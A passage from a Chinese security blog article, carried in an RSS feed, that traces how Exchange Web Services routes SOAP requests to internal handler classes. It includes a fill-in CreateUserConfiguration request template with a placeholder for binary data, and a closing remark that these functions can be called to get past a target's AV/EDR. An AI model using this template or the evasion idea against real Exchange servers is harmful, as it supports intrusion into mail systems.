YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"> public virtual IHttpHandler GetHandler(HttpContext context,<br/>                                             String requestType,<br/>                                             String url,<br/>                                             String pathTranslated)<br/>      {<br/>         String fname = url.Substring(url.LastIndexOf(&#39;/&#39;)+1);<br/>         String cname = fname.Substring(0, fname.IndexOf(&#39;.&#39;));<br/>         String className = &#34;test.&#34; + cname;<br/> <br/>         Object h = null;<br/> <br/>         // Try to create the handler object.<br/>         try<br/>         {<br/>            // Create the handler by calling class abc or class xyz.<br/>            h = Activator.CreateInstance(Type.GetType(className));<br/>         }<br/>         catch(Exception e)<br/>         {<br/>            throw new HttpException(&#34;Factory couldn&#39;t create instance &#34; +<br/>                                    &#34;of type &#34; + className, e);<br/>         }<br/>         return (IHttpHandler)h;<br/>      }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以我们先看EwsServiceHttpHandlerFactory的GetHandler方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.34873323397913564" title="null" data-type="png" data-w="1342" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0d3cb0d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZqg1bQ73Qh2yKeruu4icSFhjTQNArwqXFZMn7ltaI3plmIaPrmdEHSqA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过SelectOperation函数确定method，之后再生成对应的hanlder，我们看SelectOperation的逻辑：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5779610194902549" title="null" data-type="png" data-w="1334" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1ac27d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ97DeAm0KLpVwTyH0ProHI4TZibAicfIZXMIa01y9ag6ckcwJWMzbB8iaw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">总之就是解析xml里面的方法，之后创建service，实际上就是EWSservice的实例，再创建对应的hanlder</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3027613412228797" title="null" data-type="png" data-w="1014" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=faf32fa7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZib02iaqJasbZ1BUbpdFfibDevxPbicJvb10ISrPp5wv4O3upibrmOHL026Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">创建HTTPhanlder，所有的ews方法都是异步的，所以asynchanlder：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13032984714400644" title="null" data-type="png" data-w="1243" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=271e2d3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZS750zIVoSgib2QmoIos01ibkdQicGhsvrDo7icSMtynX6Y4hXOiavDzvz5Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">获得了Microsoft.Exchange.Services.DispatchPipe.Ews. EwsServiceHttpAsyncHandler的一个实例。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里没法打断点，不知道为什么，如果asynchanlder实例获取失败了，就获取wcfHttpHanlder：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2115689381933439" title="null" data-type="png" data-w="1262" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf3de4d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZoUQHZAXXVucRxwXTJOUORB3J6iavSHmQnZJ3pICIXEM5icRa0yWicB9Zg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到最终的hanlder为wcf的提供的功能：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2707263389581805" title="null" data-type="png" data-w="1363" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bcdcb975&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZbZ14LpZukhU7rDCO2ibJ3lPG0TrKIDUNh70RRdorkgqRH5eguBicg2Zg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">System.ServiceModel.Activation.ServiceHttpHandlerFactory具体怎么实现的没有什么公开的文档，我们可以推测实际最后都是调用EWSservice里的方法，比如GetFolder：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.11629881154499151" title="null" data-type="png" data-w="1178" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2807100c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZvPdC5GUcmCSh3seKgUejJNg3tz3jkflvGWCkIAoDavCvuURQH6tOag%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对应方法会调用submit，一共三个参数，第一个调用上下文，应该包含身份信息等。第二个应该是成功后的回调，第三个不知道。我们比较关注callContext。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.18079584775086505" title="null" data-type="png" data-w="1156" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=832cc36f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZicKfCtp4YPoYU4y5F2pBGkwib8FvGZYAL2yEibgpeuZysW2kJjkYukgMw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">callContext由工厂类创建：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6804347826086956" title="null" data-type="png" data-w="1380" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1211ed3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZGiaEeRC9Tn81EGiadPkEOCT3erb64dicwniaibgKekQZQJyLxY2BDk7OJ3Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">callContext生成过程非常复杂，以后再详细研究。</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5200258397932817" title="null" data-type="png" data-w="1548" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=306f39b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZ8tXxOHObiaSB6V6TiaoIqPubbaeQrCMLRVcO0iagBibzUpqDiaCpFouz99A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">将三个参数传入submit准备调用，发现检查了一次Impersonate权限。测试从Negotiate认证获得的身份是system：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6870696250956388" title="null" data-type="png" data-w="1307" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a32d7ec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZDbRazuBNtaewzeW4uyfJ8CicC6JGe0zZQxF5G0J6u5iabuHxiblUflf8w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">之后创建异步任务并调用：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2994604316546763" title="null" data-type="png" data-w="1112" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c833098a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZZIyyicSqm1XYVPsHxjQFWknkicTnPDKcl6HiaJGrZP3pVqx15mKmD6hyQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进入 Microsoft.Exchange.Services.Core.Types.BaseServiceTask触发执行</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6056701030927835" title="null" data-type="png" data-w="1164" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a006b98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZIU6urueRdiarVTzIvyoabUhKFMEZ2amezXpLxzapMjaggDBWcZJHia0A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">走到Microsoft.Exchange.Services.Core.Types.ServiceTask的InternalExecute方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.49557522123893805" title="null" data-type="png" data-w="1356" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=85de82d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZJfkeug1rMgrs3p3xajx4RC10WldwYewCsOzbLX4qbwJ3tJUQjgzYew%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">走到Microsoft.Exchange.Services.Core.BaseStepServiceCommand的InternalExecuteStep方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6021034180543383" title="null" data-type="png" data-w="1141" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1021cdda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZSSRhR0Wb9WUh6r8drWYsTHiaIQbytKpiaTJ5oibRrgezty33ibmAQfHrWQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过这个方法调用Microsoft.Exchange.Services.Core中各个类的Execute方法。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">小结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样就明了了，soap数据包中带的method与Microsoft.Exchange.Services.Core中的各个类是对应的。如要调用Microsoft.Exchange.Services.Core.GetFolder方法就应该在soap的method写GetFolder。请求的参数和Microsoft.Exchange.Services.Core.Types中的对象对应，如Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6486928104575164" title="null" data-type="png" data-w="1224" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d622784a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795AVR7DA5AqnYABOZCk6CuZnUMRAgDcyAJQFbaUCpfdel8A9ZnjyyvWicnQ86dFyQI3CI9acsfMbtg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">img</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对应的xml为：</p><pre style="color: rgb(88, 110, 117);background: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;<br/>&lt;soap:Envelope xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34; xmlns:m=&#34;<a href="http://schemas.microsoft.com/exchange/services/2006/messages" target="_blank">http://schemas.microsoft.com/exchange/services/2006/messages</a>&#34; xmlns:t=&#34;<a href="http://schemas.microsoft.com/exchange/services/2006/types" target="_blank">http://schemas.microsoft.com/exchange/services/2006/types</a>&#34; xmlns:soap=&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;&gt;<br/>  &lt;soap:Header&gt;<br/>&lt;t:RequestServerVersion Version=&#34;Exchange2013&#34; /&gt;<br/>  &lt;/soap:Header&gt;<br/>  &lt;soap:Body&gt;<br/>&lt;m:CreateUserConfiguration&gt;<br/>  &lt;m:UserConfiguration&gt;<br/>&lt;t:UserConfigurationName Name=&#34;ExtensionMasterTable&#34;&gt;<br/>  &lt;t:FolderId Id=&#34;%s&#34; ChangeKey=&#34;%s&#34; /&gt;<br/>&lt;/t:UserConfigurationName&gt;<br/>&lt;t:Dictionary&gt;<br/>  &lt;t:DictionaryEntry&gt;<br/>  &lt;/t:DictionaryEntry&gt;<br/>  &lt;/t:Dictionary&gt;<br/>&lt;t:BinaryData&gt;%s&lt;/t:BinaryData&gt;<br/>  &lt;/m:UserConfiguration&gt;<br/>&lt;/m:CreateUserConfiguration&gt;<br/>  &lt;/soap:Body&gt;<br/>&lt;/soap:Envelope&gt;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">至此我们明白了从ews的soap如何对应到具体的函数逻辑，以及如何生成请求的xml。同时也知道的Common-AccessToken的验证流程。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">知道了对应soap的功能在哪里后，我们就可以针对功能去审计代码。同时可以反射调用这些功能，绕过目标的AV/EDR。</p><p style="margin-bottom: 24px;"><br/></p>



<p><a href="2247498998">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ef5c1e7d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247498998%26idx%3D1%26sn%3D98826c6b5d8f5b200b8047b76b9c274b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 Oct 2022 09:10:00 +0800</pubDate>
    </item>
    <item>
      <title>DotNet安全-Exchange请求流程分析(一)</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247498962&amp;idx=1&amp;sn=fab20a85ead613e87c16677cd8d3a7da</link>
